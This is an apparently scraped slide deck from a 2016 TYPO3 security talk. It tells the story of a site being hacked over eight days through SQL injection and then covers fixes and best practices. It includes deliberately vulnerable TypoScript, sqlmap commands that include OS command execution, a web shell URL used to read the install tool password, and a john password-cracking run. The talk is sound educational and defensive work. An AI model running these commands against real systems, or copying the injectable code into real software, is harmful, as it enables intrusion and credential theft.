Diary of a Hack
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The document is a diary of a hacker exploiting vulnerabilities in a website over the course of 8 days. On day 1, the hacker implements a feature that introduces SQL injection vulnerabilities. On day 2, the hacker tests the vulnerabilities. Over subsequent days, the hacker searches for other vulnerabilities, exploits them to gain access to the database and files, and eventually cracks passwords. The final days are spent analyzing the damage, fixing issues, and improving security practices going forward.
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FROM tt_content
WHERE colPos = ' . $_GET['colPos']
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$ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos'
!
GET parameter 'colPos' is vulnerable. Do you want to keep testing the others?
[y/N]
sqlmap identified the following injection points with a total of 30 HTTP(s)
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$ john pw
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x5])
password (dummy)
guesses: 1 time: 0:00:00:01 DONE (Thu Jun 4 11:00:44 2015) c/s: 900
trying: 123456 - fishing](https://image.slidesharecdn.com/2016-t3cv-diary-of-a-hack-160422142143/85/Diary-of-a-Hack-44-320.jpg)
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Diary of a Hack
- 1. Inspiring people to share Diary of a Hack Vulnerabilities and Attacks Diary of a Hack Helmut Hummel <info@helhum.io> 22.04.2016 Vulnerabilities and Exploits 1
- 2. 2 @helhum
- 3. Security 3
- 5. 5 http://www.pxleyes.com/images/contests/teddy-bears-2/fullsize/Story-time-507bf54d589a1_hires.jpg
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- 15. Diary of a Hack 15
- 16. Diary of a Hack Day 1 - Implementing a feature 16
- 17. Diary of a Hack 17 lib.sqliSimple = CONTENT lib.sqliSimple { table = tt_content select.where.wrap = colPos=| select.where.data = GP:colPos }
- 18. Diary of a Hack 18 lib.sqliSearch = CONTENT lib.sqliSearch { table = tt_content select.where.wrap = header like '%|%' select.where.data = GP:search }
- 19. Diary of a Hack Day 2 - Testing the feature 19
- 20. Diary of a Hack 20
- 21. Diary of a Hack 21 'BE/debug' => '1' 'FE/debug' => '1' 'SYS/devIPmask' => '*' 'SYS/displayErrors' => '1' 'SYS/sqlDebug' => '1' 'SYS/exceptionalErrors' => '28674'
- 22. Diary of a Hack 22
- 23. Diary of a Hack 23 'DB/username' => 'root'
- 24. Diary of a Hack 24
- 25. Diary of a Hack Day 3 - Distraction 25
- 26. Diary of a Hack 26
- 27. Diary of a Hack Day 4 - Attraction 27
- 28. Diary of a Hack 28 https://www.google.de/?q=exec_SELECTquery+%22You +have+an+error+in+your+SQL+syntax%22
- 29. Diary of a Hack Day 5 - Exploitation 29
- 30. Inspiring people to share Diary of a Hack Vulnerabilities and Attacks Excursion - SQLi 30
- 31. Excursion - SQLi 31 SELECT * FROM tt_content WHERE colPos = 0
- 32. 32 'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos'] Excursion - SQLi
- 34. 34 'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos'] Excursion - SQLi
- 35. 35 'SELECT * FROM tt_content WHERE colPos = 0 or hidden = 1' $_GET['colPos'] Excursion - SQLi
- 36. Disclaimer 36
- 37. Dont do this at home! 37
- 38. (unless you have written permit) 38
- 39. Diary of a Hack 39 $ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' ! GET parameter 'colPos' is vulnerable. Do you want to keep testing the others? [y/N] sqlmap identified the following injection points with a total of 30 HTTP(s) requests:
- 40. Inspiring people to share Diary of a Hack Vulnerabilities and Attacks The power of MySQL 40
- 41. Diary of a Hack 41 $ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' os-cmd='ls -al'
- 42. Diary of a Hack 42
- 43. Diary of a Hack 43 http://security.dev/tmpbrsru.php?cmd=touch%20typo3conf/ ENABLE_INSTALL_TOOL ! http://security.dev/typo3/sysext/install/Start/Install.php ! http://security.dev/tmpbrsru.php?cmd=grep%20installToolPassword %20typo3conf/LocalConfiguration.php
- 44. Diary of a Hack 44 $ john pw Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x5]) password (dummy) guesses: 1 time: 0:00:00:01 DONE (Thu Jun 4 11:00:44 2015) c/s: 900 trying: 123456 - fishing
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- 46. Diary of a Hack Day 5 - Discovery 46
- 47. Diary of a Hack Discovery Take site of鍖ine! seriously I mean it 47
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- 49. Diary of a Hack Day 6 - Analysis 49
- 50. Diary of a Hack Analysis Make a backup of current state (鍖les, DB, logs) Search all logs for suspicious entries Find point of entry (security issue) If in doubt: get help 50
- 51. Diary of a Hack Day 7 - Fix 51
- 52. Diary of a Hack 52 lib.sqliSimple = CONTENT lib.sqliSimple { table = tt_content select.where = colPos=###colPos### select.markers { colPos.data = GP:colPos } }
- 53. Diary of a Hack 53 lib.sqliSearch = CONTENT lib.sqliSearch { table = tt_content select.where = header like ###search### select.markers { search.data = GP:search search.wrap = %|% } }
- 54. Diary of a Hack Fix Close security issue in Code/ Extension/ Core Restore from backup Or if you really know what you are doing: cleanup installation Go online again Plan improvements (education, monitoring, ) 54
- 55. Diary of a Hack Day 8 - Improve 55
- 56. Inspiring people to share Security of Web Applications Vulnerabilities and Attacks Topictext Lessons learned Development/ Testing Environment Deploy to Production Least privilege There is no Software without bugs. Be prepared! 56
- 57. Diary of a Hack Best Practice Operations Regular updates Backups Monitoring Development Peer Reviews (TypoScript, Code, Templates) (automated) Tests Focus Education Allocate time for all of the above 57
- 58. Questions? 58
- 59. Inspiring people to share Security of Web Applications Vulnerabilities and Attacks Diary of a Hack Resources http://docs.typo3.org/typo3cms/SecurityGuide/ http://sqlmap.org http://www.openwall.com/john/ https://www.owasp.org/ 59
- 60. Thank you! 60